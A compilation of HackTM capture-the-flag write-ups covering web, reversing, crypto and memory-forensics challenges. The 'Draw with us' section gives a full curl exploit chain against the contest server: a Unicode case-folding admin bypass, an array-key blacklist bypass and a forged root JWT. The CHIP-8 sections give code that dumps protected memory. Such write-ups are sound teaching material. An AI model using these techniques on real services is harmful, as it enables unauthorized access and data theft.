Draw with us

Challenge description

Come draw with us!

Hint! Changing your color is the first step towards happiness.

Author: stackola

First impression

At first glance we thought it was a black box challenge. Later we found the server side code called app.js. The server side code was written in node.js with express.js framework. After we saw

app.get("/flag", (req, res) => {
 // Get the flag
 // Only for root
 if (req.user.id == 0) {
  res.send(ok({ flag: flag }));
 } else {
  res.send(err("Unauthorized"));
 }
});

we knew we need to somehow get the root credentials.

First lead

We saw that for all API calls you need to be authenticated, except for 3 whitelisted calls:

const config = {
    ...
  whitelist: ["/", "/login", "/init"]
    ...
};
app.use(
  jwt({ secret: jwtSecret }).unless({
    path: config.whitelist
  })
);

in /init call we noticed something interesting:

app.post("/init", (req, res) => {
  // Initialize new round and sign admin token
  // RSA protected!
  // POST
  // {
  //   p:"0",
  //   q:"0"
  // }
  let { p = "0", q = "0", clearPIN } = req.body;

  let target = md5(config.n.toString());

  let pwHash = md5(
    bigInt(String(p))
      .multiply(String(q))
      .toString()
  );
...
  //Sign the admin ID
  let adminId = pwHash
    .split("")
    .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
    .reduce((a, b) => a + b);
 //END Sign the admin ID 
  console.log(adminId);

  res.json(ok({ token: sign({ id: adminId }) }));
});

p and q are user controlled variables and //Sign the admin ID paragraph is responsible for XORing the md5 of config.n and p*q byte by byte, then summing the resulting array.

If p*q == n , then adminId will be 0, because the XOR results in array of 0’s. In other words, we get a correctly signed JWT with id==0 (root).

So if we give p=n, q=1 we will achieve our goal. The problem is we don’t know config.n.

config.n leak

Ok, the goal is clear – leak config.n, but how?

The serverInfo API call caught our eyes:

app.get("/serverInfo", (req, res) => {
  // Get server info
  // Only for logged in users
  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));
});

After authentication, the server prints you config values based on your permissions.

By default, the ‘rights’ array doesn’t includes n:

let u = {
    username: req.body.username,
    id: uuidv4(),
    color: Math.random() < 0.5 ? 0xffffff : 0x0,
    rights: ["message","height","width","version","usersOnline","adminUsername","backgroundColor" ]
  };

Maybe we can somehow add this permission?

Yes! If you are root, you can basically add permissions with updateUser API call:

app.post("/updateUser", (req, res) => {
  // Update user color and rights
  // Only for admin
  // POST
  // {
  //   color: 0xDEDBEE,
  //   rights: ["height", "width", "usersOnline"]
  // }
  let uid = req.user.id;
  let user = users[uid];
  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));
    return;
  }
  let color = parseInt(req.body.color);
  users[uid].color = (color || 0x0) & 0xffffff;
  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
  }

  res.json(ok({ user: users[uid] }));
});

But wait, the admin verification looks a bit strange. we would expect that the server will just check if the req.user.id==0 but it calls another function: isAdmin(). Lets take a closer look:

function isAdmin(u) {
  return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

Maybe we can find a weird letter that makes toLowerCase() return a normal letter? After googling a bit, we found that article . BINGO!

Let see if it works (The in hacKtm is the special letter 0x212a)

curl --data '{"username":"hacKtm"}' -H "Content-Type: application/json; charset=utf-8" -X POST http://167.172.165.153:60001/login
{"status":"ok","data":{"token":"VALID_TOKEN"}}

Now,

curl --data '{"color":"0xFF0000", "rights": ["n"]}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/updateUser
{"status":"ok","data":{"user":{"username":"hacKtm","id":"3842d4dd-31fe-4499-bcc0-b60d7e83e74e","color":16711680,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"}}}

Nice! We bypassed the isAdmin function! But wait…. our n permission not included. What happen?

That is what happen:

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

n is black listed permission. We thought of two ways to get around:

  1. Bypass this check if (blacklist.includes(element)) {...}.
  2. InserverInfo API call let info = user.rights.map(i => ({ name: i, value: config[i] })); accesses config values without checking the indexi. We can try to play with i so config[i]==config[n] && i!==n.

After unsuccessful tries to bypass the blacklist, we came up with the idea that config[["n"]] will give us what we want. Yes, config[["n"]] == config["n"]!

conclusion:

LOGIN with admin

{"status":"ok","data":{"token":"VALID_TOKEN"}}
curl --data '{"username":"hacKtm"}' -H "Content-Type: application/json; charset=utf-8" -X POST http://167.172.165.153:60001/login

*Use the token from now on

UPDATEUSER with the “n” right

curl --data '{"color":"0xFF0000", "rights": [["n"]]}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/updateUser
{"status":"ok","data":{"user":{"username":"hacKtm","id":"3842d4dd-31fe-4499-bcc0-b60d7e83e74e","color":16711680,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}

SERVERINFO to get ‘n’ value

curl -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" http://167.172.165.153:60001/serverInfo
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":130},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}

INIT with p=n, q=1

curl --data '{"p":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979", "q":"1"}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/init
{"status":"ok","data":{"token":"VALID_ADMIN_TOKEN"}}

GET FLAG with the token received

curl -H "Content-Type: application/json" -H "Authorization: Bearer VALID_ADMIN_TOKEN" http://167.172.165.153:60001/flag
{"status":"ok","data":{"flag":"HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}"}}

Cubeworld #1 :

Step 1

The first step of the challenge was looking at the key_*.png files. The files contained images of a cube with latin letters on it. We labeled a cube with the letters found in the images.

Step 2

A significant clue that was given, was that the solution had five words to it, and we now turned our attention to the five mp4 files, which presumably represented the five words of the solution.

Each mp4 file contains several movements of the cube. We figured out that each movement represents a character, constructing a single word.

So we looked at the letters that were on the rotating axis for each rotation. For example, in the first rotation in 1.mp4 file, we identified that the possible letters are {E,F,U,W} and for the second rotation we identified that the possible letters are {Y,Q,R,E,I,N,L}

Step 3

At this point, we went over all the words in the provided words.txt file and using a simple python script we found for each sequence of movements all the words with a length that matches the number of movements in the sequence and for which the first character matched one of the letters in the first movement, the second character matched one of the letters in the second movement and so on…

The script printed out one, or very few, matching words for each sequence and it wasn’t hard to come up with the words for the answer since we looked for an actual sentence that makes sense.

Cubeworld #2 writeup:

Step 4 (continued from cubeworld #1)

Instead of mp4 files, we had four png files, supposedly representing the four stated words of the flag.

Each png file contained a Rubik’s cube in a different scrambled configuration.

We guessed that this cube was reached from the word it represented by these steps:

  1. Starting from a Rubik’s cube in the solved position
  2. for LETTER in WORD:
  3. — Rotate the cube according to the rotation defined by LETTER (see World cube #1 writeup above)

Step 5

By sheer chance, one of our team members, had just written a python Rubik cube library.

We used the python library and executed the following algorithm:

  1. For WORD in WORDS.TXT:
  2. — Rotate a solved cube, by WORD as indicated in the previous step
  3. — If the cube reached is equal to one of the four cubes in the png files:
  4. — — Save WORD as a possible solution to that png file

This step was complicated by the fact, that we actually thought that each letter has 4 possible rotations, and therefore, the above process was too slow.

Step 6

We examined the key_*.png’s again, and noted that the rotation was always in relation to the orientation of the letter.

For example if the letter B was written sideways, the rotation was sideways as well.

This reduced the possibilities to two rotations for letter, clock-wise and counter-clockwise.

We assume that the original intention was a single rotation for each letter, none-the-less, but this gave us enough speed to execute the algorithm in the previous step

Step 7

The algorithm produced the following output:

cube 0 found {'accurately'}                                                                                                                                                                                        
cube 1 found {'describing'}                                                                                                                                                                                        
cube 2 found {'accommodation', 'addiction', 'attention'}                                                                                                                                                           
cube 3 found {'conditions'}  

It was not hard to guess that the solution was: “HackTM{accurately_describing_accommadation_conditions}”

We really enjoyed this challenge!

Chip 8

CHIP 8 /1

We were given a web-based implementation of the chip8 emulator. The chip has

  • 4KB memory (shared for code and data)
  • 16 1B general purpose registers (V0-V15)
  • a special 2B register (I) (which is used by display instructions)
  • a program counter (PC)
  • a 64×32-pixel monochrome display
  • (it also has a stack, carry flag and some more registers).

The first 512B (0x000-0x1FF) are protected and should no be accessible by programs. The author mentioned it’s a TOP SECRET. Obviously, our flag is there.

Looking for some more info about chip8 on the web quickly leads to a useful and more detailed technical reference of the chip. In the display section of the reference, an interesting statement appears:

Programs may also refer to a group of sprites representing the hexadecimal digits 0 through F. These sprites are 5 bytes long, or 8×5 pixels. The data should be stored in the interpreter area of Chip-8 memory (0x000 to 0x1FF).

Apparently, the display instructions of the chip can access the protected memory area. These are the available display instructions:

CommandTypeC equivalentDetails
00E0Displaydisp_clear()disp_clear()
DXYNDisplaydraw(Vx,Vy,N)Draws a sprite at coordinate (VX, VY) that has a width of 8 pixels and a height of N pixels. Each row of 8 pixels is read as bit-coded starting from memory location I; I value doesn’t change after the execution of this instruction. As described above, VF is set to 1 if any screen pixels are flipped from set to unset when the sprite is drawn, and to 0 if that doesn’t happen

The DXYN instruction will draw 8xN bits from memory address stored at register I to the screen. If we could set I to a low value, we could read from memory by drawing it to the screen. I can be affected by the following instructions:

CommandTypeC equivalentDetails
ANNNMEMI = NNNSetts I to the address NNN
FX1EMEMI += VXAdds VX to I
FX29MEMI = sprite_addr[Vx]Sets I to the location of the sprite for the character in VX. Characters 0-F (in hexadecimal) are represented by a 4×5 font stored in the first bytes of memory.

Trying to set I to a low value using the first two instructions (ANNN, FX1E) will raise an access-violation error and halt the program. Though the third one, FX29, looks much more promising (remembering the statement above which suggested that the actual location of these sprites is in the protected memory area).

As suspected, using FX29 (specifically, F229 while V2==0) set I to 0! (for V2==1, I will be set to 15, for V2==2, 30 and so on)
Using the DXYN instruction (specifically D10F while V1==V0==0) immediately after, ‘draws’ the first 8×15 bits in memory to the screen in a form of black (0) and white (1) colored pixels. Though the first 122 bytes only revealed the original chip’s stripes (graphical letters 0-F), starting at address 0x7E, our flag started to appear, each byte on a separate line.

The following chip8 code will dump the first 130B of the protected memory (including the entire flag) to the screen:

00E0 ; CLS

F229 ; set I to sprite of V2 (0) 
D10F ; draw at coordinates(0,0) from memory at 0x00

7203 ; V2+=1 (1)
7105 ; V1+=5 (5)
F229 ; set I to sprite of V2 (15)
D10F ; draw at coordinates(5,0) from memory at 0x0F

7203 ; V2+=1 (2)
7105 ; V1+=5 (10)
F229 ; set I to sprite of V2 (30)
D10F ; draw at coordinates(10,0) from memory at 0x1E

7203 ; V2+=1 (3)
7105 ; V1+=5 (15)
F229 ; set I to sprite of V2 (45)
D10F ; draw at coordinates(15,0) from memory at 0x2D

7203 ; V2+=1 (3)
7105 ; V1+=5 (20)
F229 ; set I to sprite of V2 (60)
D10F ; draw at coordinates(20,0) from memory at 0x3C

; FLAG AREA

7203 ; V2+=1 (4)
7105 ; V1+=5 (25)
F229 ; set I to sprite of V2 (75)
D10F ; draw at coordinates(25,0) from memory at 0x4B

7203 ; V2+=1 (4)
7109 ; V1+=9 (34)
F229 ; set I to sprite of V2 (90)
D10F ; draw at coordinates(34,0) from memory at 0x5A

7203 ; V2+=1 (5)
7109 ; V1+=9 (43)
F229 ; set I to sprite of V2 (105)
D10F ; draw at coordinates(43,0) from memory at 0x69

Decoding the b/w pixels back to bits and translating to chars using an ASCII table revealed the flag:

01001000 0x48 'H'
01100001 0x61 'a'
01100011 0x63 'c'
01101011 0x6B 'k'
01010100 0x54 'T'
01001101 0x4D 'M'

01111011 0x7B '{'
01100001 0x61 'a'
00110101 0x35 '5'
00110101 0x35 '5'
01100101 0x65 'e'
01101101 0x6D 'm'
00111000 0x38 '8'
01101100 0x6C 'l'
01100101 0x65 'e'
01100100 0x64 'd'
01011111 0x5F '_'
01110011 0x73 's'
00110000 0x30 '0'
01100011 0x63 'c'
01101011 0x6B 'k'

01110011 0x73 's'
01111101 0x7D '}'

Flag: HackTM{a55em8led_s0cks}

CHIP 8 /2

Please first read CHIP 8 /1.

The second phase of the challenge was very similar to the first though this time, the last 512B in memory are also protected. The flag hides somewhere in 0xDFF-0xFFF.

Trying to set I to high values was not seem to be possible so we can not ‘draw’ the memory anymore or access it.

Digging around the available instructions looking for clues, the goto equivalent command (1NNN) which affects the PC raised a question – could a code run in the protected high memory area?

CommandTypeC equivalentDetails
1NNNFlowgoto NNN;Jumps to address NNN.

Trying to set the PC to 0xE00 1E00 seems to work. Upon a step/cycle, the chip will interpret the data there as an instruction, process it and increment PC by 2 (each instruction is 2B). The funny thing is, the emulator has a debug monitor which contains “Last instruction”. We can see the actual instruction which was just been processed after each step (ex. Last instruction 7279). We can read the memory 2B after 2B. If the actual data doesn’t represent a legal instruction, the program will halt, “Last instruction” will be blank but the error message will reveal the bytes (ex. Invalid instruction: 5F61). In such case, we can continue ‘reading’ by setting PC over to the next 2B using 1NNN and stepping again.

The potential data appeared at location 0x1F40:

AA48 .H
6163 ac
6B54 kT
4D7B M{
6436 d6
655F e_
6A75 ju
7279 ry
5F61 _a
6E64 nd
5F33 _3
7833 x3
6375 cu
7431 ti
6F6E on
7DAA }.

We have the string HackTM{d6e_jury_and_3x3cution} in memory but trying to submit this as a flag fails. Re-checking memory / translating to ASCII again produced the same wrong string. What?

It took a few more minutes to realize we may be missing ‘ju’ to complete the word ‘judge’. When searching for ‘dge_jury_and_execution’ in Google, it immediately suggest a correction – “judge jury and executioner”.

Flag: HackTM{jud6e_jury_and_3x3cution}

Bad Keys

Similiar to the setup of RSA is easy #1 and RSA is easy #2.
This time, encryption is done on the plaintext as a whole and not for every byte separately,

In addition we get the public key, the encrypted flag and remote access to a key-generation server. The key-generation server is starting from a specific snapshot every time you connect to it.
Furthermore, the challenge description states that no more than 10k messages have been sent between the flag encryption and the time of the snapshot.
All of these, in addition to the name of the challenge, suggests that the goal is to somehow break the key-generation algorithm and obtain the key for the flag.

Accessing the key-generation server, we can generate new public/private RSA key pairs.
In RSA terminology, we get: ((e, n), (d, n)) where (e, n) is the public key (e is always 65537), and (d, n) is the private key.
After generating a few key pairs, we can’t notice any visible connection that can help us guess older keys.
However, we know that RSA starts by picking two large prime numbers p, q and maybe the process of picking p and q is predictable. As it turns out, given the public and private RSA keys, one can deduce p and q. Ways to do this can be found easily online.

Looking at p and q of different generated keys, we quickly notice that either p or q is monotonically increasing. That is, starting from some q_0, the next q, namely q_1, will be the next prime after q_0.
In order to find the (p,q) that were used to encrypt the flag, we can start from the q extracted from the RSA key returned from the server and guess our way down to the prime number q* that suffices:

n % q* == 0

Where n is taken from the provided public key for the flag.

Once we find q*, we find p* by calculating n/q* and decryption of the flag easily follows.

mama_bear

Mama Bear


We did not finish the task on time

We received mama_bear binary – who received 2 inputs – password and secret, and return the output, which looks similar to the output in the description. After some reversing, we realized that it’s a vm – having an instruction set and a correlated operation. The instructions were pop, push, ror, return and a weird one we called mutate. They are all defined in run_program function:

pop:


push:


ror:


return:


mutate:



Here is some code of main function to run them all:


The instruction stream (stream of instructions for the main function to use in the vm):


The spread_table to be used by mutate:


The function to generate spread_table for each run program:


So – we implemented the functions above in python, and given a password and secret we successfully returned the same result as the mama_bear binary.






Now – we need to implement the reverse functions:

pop is the exact reverse of push.

rol is the exact reverse of ror:


But mutate has no obvious reverse. Furthermore, mutate loses information – it is setting/unsetting/remaining the bit according to the spread_table – so we created a hashmap of all mutate options (src[al,bl] -> target[al,bl]), which we created to use in mutate_reverse:




We have to set the pc before running each reversed program:


And now we have a reversed run_program. (We confirmed it by running the program and reverse_program and have no changes on the input). All we need to do next, is inserting the target output as an input to our reversed function, and brute force the password, until it outputs this string format: HackTM{.*}

hackdex

HackDex Writeup

The challenge starts by having 2 files:
– hackdex, ELF file.
– hacktm.hdex, text file.

Description

Considering your possible trip to Timisoara in May, we thought it is not a bad idea to support you with a simple English to Romanian dictionary program. Today we’re releasing a preview version for you to test. Please keep in mind that it’s still in development

Overview

The hackdex file is an executable file which is essentially a EN-RO dictionary.
When we run the file we get:

Welcome to HackDex. Your EN-RO dictionary for HackTM CTF!


    Options:
    1. Translation console
    *. Exit
hackdex>   

When pressing ‘1’ we can type words followed by ENTER and we get their translation in Romanian:

hackdex(1)> a
a -> un, o; un/o oarecare; o singura; pe; perfect; un singur
hackdex(1)> 

As for the hacktm.hdex, this file is the dictionary used by the hackdex ELF to translate to English words into a Romanian:

Some of the hacktm.hdex’s content

a<br>un, o; un/o oarecare; o singura; pe; perfect; un singur
aardvark<br>porcul termitelor (orycteropus sp.)
aaron<br>aaron; prelat, inalta fata bisericeasca
aba<br>aba;dimie
abac<br>grafic; filet conic pentru tevi standardizat in S.U.A.; abaca
abaca<br>canepa de manila; abaca
aback<br>inapoi; in urma
abacus<br>numaratoare; abaca; abac
abaddon<br>gheena, iad
abaft<br>in urma; in spatele; la; spre pupa
abandon<br>parasire; abandon; a abandona; a parasi; a renunta la; a inceta sa
abandoned<br>parasit; dezmatat; desfrinat
abandonment<br>parasire; abandon
abase<br>a retrograda; a degrada
abasement<br>retrogradare; degradare
abash<br>a umili; a face de rusine; a descumpani
abashed<br>rusinat; jenat
abashment<br>umilinta; stinghereala; jena; rusine
abask<br>la soare
abate<br>a toci,; a slabi; a abroga; a anula; a atenua (o durere etc.); a face bont; a pune capat la; a reduce (preturile); a se atenua; a se domoli; a se potoli
abatement<br>slabire; reducere (a unui impozit); abrogare; anulare; atenuare

Reversing

When starting to reverse the challenge we noticed it was written in rust which made it more challenging as we were less familiar with it.

After reversing the main function we noticed there is a variable called “_ZN3dex11PRO_VERSION17h62387400d9c485dbE” which indicate us there was a PRO_VERSION for this program and with some added functionality.
After cross-referencing this variable we saw this value is checked against the 0x1337 value:


This check is happening in the “extra” function which is called whenever the user is pressing “9” instead of “1” mentioned above:

The translate function is the function where the program does its dictionary logic.
As we can see in the above picture, whenever the user is pressing “9” it is essentially changing the application from being dictionary to whatever the extra function does.

So what causes the PRO_VERSION to be 0x1337?


The code simply check the amount of time passes between some assignments and put that value in the PRO_VERSION variable.
So after patching the variable with the correct value and pressing “9”, we get to the “extra” function.

So after a while of reversing the function we got to the following conclusions:

  • This function has 6 stages, and each of these stages is:
    • Initalizing a new boggle board.
    • Calling the get_valid_words function.
    • Receiving from the user a word.
    • Validating the word received is in the hashtable returned by the get_valid_words function.
    • In case of success continue to next step.
  • At the end of these stages the function concatenates all words received together.
  • Calculate the SHA256 hash of the complete string and compare it to hardcoded hash in the binary.
  • In case the hash is matching we uses the concatenated words as to key to decipher chacha encrypted cipher which presumably is the flag.

There was a problem which the binary did not had the logic of the get_valid_words function implemented which caused us a lot of headache understanding that the binary was not supposed to work at all in the first place, as we thought we simply did not understand the rust compiled assembly correctly.

Another obstacle was to understand the building of the boggle words from the binary because they were mostly using the xmm instruction-set.

After understanding the binary is not fully implemented and not supposed to work, we patched the checks that were standing in our way and got to the point where we were able to insert words and continue to the hash logic.

The solution

So after we extracted the Boggle boards created in each step, we wrote a script that automatically find all the possible words that fits into a given board.

[s@workstation Hackdex]$ python2 sol_1.py 
Z E L 
A N N 
R I G 

'get_words' 0.00 sec
T K L 
B U I 
N R F 

'get_words' 0.00 sec
F R I 
P E N 
U A D 

'get_words' 0.00 sec
E M Z 
B N A 
X E H 
W T V 

'get_words' 0.00 sec
E V O 
R U X 
C O M 
G N I 

'get_words' 0.00 sec
P L Z 
A S I 
S O N 

'get_words' 0.00 sec

One important note here is that in order to find the relevant words that fits into the boards, we used the dictionary we got from the CTF (hacktm.hdex) as our words list.

After receiving the words we created a script that will iterate through all the possibilities and check the hash of the concatenated words and match it against the hash in the binary.

wannabe = "F550BAA8068D9C17669E140626A9D7BF13EF0A66662AEB5910FC406BE196A287".lower()
num_of_iterations = 1

for i in range(6):
    num_of_iterations = num_of_iterations * len(words[i])

current_iteration = 0
for a in words[0]:
    for b in words[1]:
        for c in words[2]:
            for d in words[3]:
                for e in words[4]:
                    for f in words[5]:
                        current_iteration += 1
                        if current_iteration % 1000000 == 0:
                            print("{}/{}".format(current_iteration, num_of_iterations))
                        full = "{}{}{}{}{}{}".format(a,b,c,d,e,f)
                        try:
                            hashed = sha256(full.encode()).hexdigest()

                            if hashed == wannabe:
                                print(full)
                                exit(1)

                        except Exception as e:
                            pass

When we found a match we used that combination as the key in the chacha cipher and found the flag!

Find My Pass

Find My Pass

The Challenge

I managed to forget my password for my KeePass Database but luckily I had it still open and managed to get a dump of the system’s memory. Can you please help me recover my password?

https://ctfx.hacktm.ro/

I should mention that the actual task was to find password protected files, and not to find the actual password.

Challenge Overview

We receive a zipped HackTM.vmem file. A vmem file, is created by VMWare during a snapshot, and has a complete image of the machines memory. This format can be parsed using Volatility

Solution Walkthrough

When receiving any memory image, the first step should always be to run it through the volatilty imageinfo plugin:

$ python vol.py -f HackTM.vmem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 (Instantiated with Win7SP1x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Users/ilyam/Desktop/HackTM/findmypass/HackTM.vmem)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82b7cb78L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x80b96000L
                KPCR for CPU 1 : 0x807ca000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2019-11-11 20:50:09 UTC+0000
     Image local date and time : 2019-11-11 12:50:09 -0800


For this CTF all we actually need is the profile

Win7SP1x86

According to the challenge we should be looking for information about KeePass, and how it saves files. First things first, lets see what is running in memory:

$ python vol.py --profile=Win7SP1x86 -f HackTM.vmem pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x84a41800 System                    4      0     97      410 ------      0 2019-11-11 20:49:19 UTC+0000
0x8625aa30 smss.exe                280      4      5       30 ------      0 2019-11-11 20:49:19 UTC+0000
0x863c5d20 csrss.exe               380    360      9      632      0      0 2019-11-11 20:49:22 UTC+0000
[snip]
0x86dccc08 WmiPrvSE.exe           3228    664     14      330      0      0 2019-11-11 20:49:34 UTC+0000
0x86e1b810 KeePass.exe            3620   1988     10      251      1      0 2019-11-11 20:49:46 UTC+0000
0x86e844f0 WmiApSrv.exe           3716    484      7      122      0      0 2019-11-11 20:49:47 UTC+0000
0x85861678 mobsync.exe            2260    664      8      163      1      0 2019-11-11 20:49:55 UTC+0000
0x86a8f030 cmd.exe                3372   1676      0 --------      0      0 2019-11-11 20:50:09 UTC+0000   2019-11-11 20:50:09 UTC+0000
0x86ec7588 conhost.exe            2520    380      0       30      0      0 2019-11-11 20:50:09 UTC+0000   2019-11-11 20:50:09 UTC+0000
0x86611870 ipconfig.exe           3472   3372      0 --------      0      0 2019-11-11 20:50:09 UTC+0000   2019-11-11 20:50:09 UTC+0000

As we can see, KeePass is using PID 3620, lets open it using volshell, and traverse the process memory (case sensitive):

$ python vol.py --profile=Win7SP1x86 -f /Users/ilyam/Desktop/HackTM/findmypass/HackTM.vmem -p 3620 volshell
Volatility Foundation Volatility Framework 2.6.1
>>> print '\n'.join([str(obj.Object("String", offset=hit, vm=proc().get_process_address_space(), encoding='utf8', length=7)) for hit in proc().search_process_memory(["keepass"])])
keepass
keepass
keepass
keepass
keepass
keepass
keepass 

Alternatively, we can dump the process memory and reverse it using grep:

$ python vol.py --profile=Win7SP1x86 -f HackTM.vmem -p 3620 memdump --dump-dir ./findmypassctf
$ strings ./findmypassctf/3620.dmp | grep -i "keepass"
KeePass
"C:\Program Files\KeePass Password Safe 2\KeePass.exe" "C:\Users\HackTM\Desktop\Database.kdbx"
C:\Program Files\KeePass Password Safe 2\KeePass.exe
C:\Program Files\KeePass Password Safe 2\KeePass.exe
KeePass.exe
keepass.exe
<assemblyIdentity name="KeePass"
KeePass.XmlSerializers.dll
keepass.xmlserializers.dll
[snip]
C:\Program Files\KeePass Password Safe 2\KeePass.exe
C:\Users\HackTM\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\KeePass 2.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\KeePass 2.lnk
KeePass.exe
KeePass.exe
KeePass.exe
KeePass.exe
KeePass.exe
KeePassPasswordSafe2_is1
KeePass 2 PreLoadz
C:/Program Files/KeePass Password Safe 2/KeePass.exeS

You could also use cat, with the -a flag on grep.

Digging through the process memory dump we stumble upon a familiar format:

$ strings ./findmypassctf/3620.dmp | grep -ia -C 5 "<KeePassFile>"
mUDQ
aB0t
(txYMc
.r+;
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<KeePassFile>
<Meta>
<Generator>KeePass</Generator>
<HeaderHash>jtMppK6LKKkQnA9qVS7rmOgz+OCXof3RS5m9vncRyWs=</HeaderHash>
<DatabaseName>Database</DatabaseName>
<DatabaseNameChanged>2019-10-28T10:27:15Z</DatabaseNameChanged>

So we expand the view, to see the whole structure, and under the we find an encoded base64 string:

>>> print '\n'.join([str(obj.Object("String", offset=hit, vm=proc().get_process_address_space(), encoding='utf8', length=50000)) for hit in proc().search_process_memory(["<Kee"])])
<KeePassFile>
[snip]
        <Binaries>
            <Binary ID="0" Compressed="True">H4sIAAAAAAAEADOv2rNeXYaBJVjO5kkAAwRUQelFJyPiO896PZrd7K4j+kfLkvmKmGiMdKpGzb0dU8/Gxd8TEn2udD81bH1VA2emxt0sxy+7KyVrf0d2dp/66vX0TJtxqJtyHNOuG48dP+iJ8QaJrtz38MA/RhY2BkbOAAZ2bkYGJhW2j+yMXMHsPY6Bi3b84C1SVGRkYGTg8fFg4OBi/Gj6uYSBgZVRkpMBBgQVGfIY8hlKGDIYMoGsdCCdylAExHpAsQogZmCQZGJgEOFiZJgb4veqovcqoygbI4MCWDMAJqpejOoAAAA=</Binary>
            <Binary ID="1" Compressed="True">H4sIAAAAAAAEADOv2rNeXYaB5WrEgbAABgiogtJBxj41dbf4r309apB3Vdd/3tyLXBXtMw7rTqrUuTZ1q+iZtqKjnyU0vsVrPFnuMe+Ckdr59NkreM5ELHzbm9L8zd/h6tu9fv5NR0ImFHv3vPtScP6Gi93OvYwsbAyMnAEM7NyMDEwqbB/ZGbmC2XMFM+7Pkay7rqjIyMDIwOPjwcDBxfjR9HMJAwMroyQnAwwIKjLkMeQzlDBkMGQCWelAOpWhCIj1gGIVQMzAIMnEwCDCxcgwN8TvVUXvVUZRNkYGBbBmADqAaWnqAAAA</Binary>
        </Binaries>
        <CustomData />
    </Meta>

[snip]

Copying the first string, we decode it:

$ echo "H4sIAAAAAAAEADOv2rNeXYaBJVjO5kkAAwRUQelFJyPiO896PZrd7K4j+kfLkvmKmGiMdKpGzb0dU8/Gxd8TEn2udD81bH1VA2emxt0sxy+7KyVrf0d2dp/66vX0TJtxqJtyHNOuG48dP+iJ8QaJrtz38MA/RhY2BkbOAAZ2b4C1SVGRkYGTg8fFg4OBi/Gj6uYSBgZVRkpMBBgQVGfIY8hlKGDIYMoGsdCCdylAExHpAsQogZmCQZGJgEOFiZJgb4veqovcqoygbI4MCWDMAJqpejOoAAAA=" | base64 -d > flag
$ file flag
flag.gz: gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 234
$ mv flag flag.gz

Opening it the flag.gz archive, generates another file – “flag”, which we read using a text editor:

$ file flag
flag.7z: 7-zip archive data, version 0.4
$ mv flag flag.7z

opening this file pops a password prompt:


digging around the memory dump for the password proved fruitless, so we started to go through other artifacts in memory. Coming across the clipboard artifact, we found a strange string:

$ python vol.py --profile=Win7SP1x86 -f /Users/ilyam/Desktop/HackTM/findmypass/HackTM.vmem clipboard -v
Volatility Foundation Volatility Framework 2.6.1
Session    WindowStation Format                 Handle Object     Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
[snip]
0xffbb46bc  64 00 6d 00 56 00 5a 00 51 00 6d 00 64 00 7a 00   d.m.V.Z.Q.m.d.z.
0xffbb46cc  4f 00 6c 00 55 00 72 00 63 00 45 00 42 00 6c 00   O.l.U.r.c.E.B.l.
0xffbb46dc  52 00 6a 00 38 00 37 00 64 00 48 00 51 00 33 00   R.j.8.7.d.H.Q.3.
0xffbb46ec  55 00 53 00 56 00 42 00 49 00 6e 00 00 00         U.S.V.B.I.n...
[snip]

extracting “dmVZQmdzOlUrcEBlRj87dHQ3USVBIn” and trying it in the password prompt, a file name “nothinghere.txt” containing the flag is extracted:

HackTM{d14c02244b17f4f9dfc0f71ce7ab10e276a5880a05fca64d39a716bab92cda90}

Success!

count-on-me

Description:

There is no description for the challenge. The zip file includes three resources:

  • challenge.txt – gives us the encryption scheme – AES 256 CBC mode, iv, and ciphertext to decrypt
  • aes.py – simple example of how to use Crypto.Cipher to encrypt/decrypt in Python
  • key.png – presumably a representation of the key


What seems to be the challenge is to derive the key from key.png and decipher the ciphertext from challenge.txt

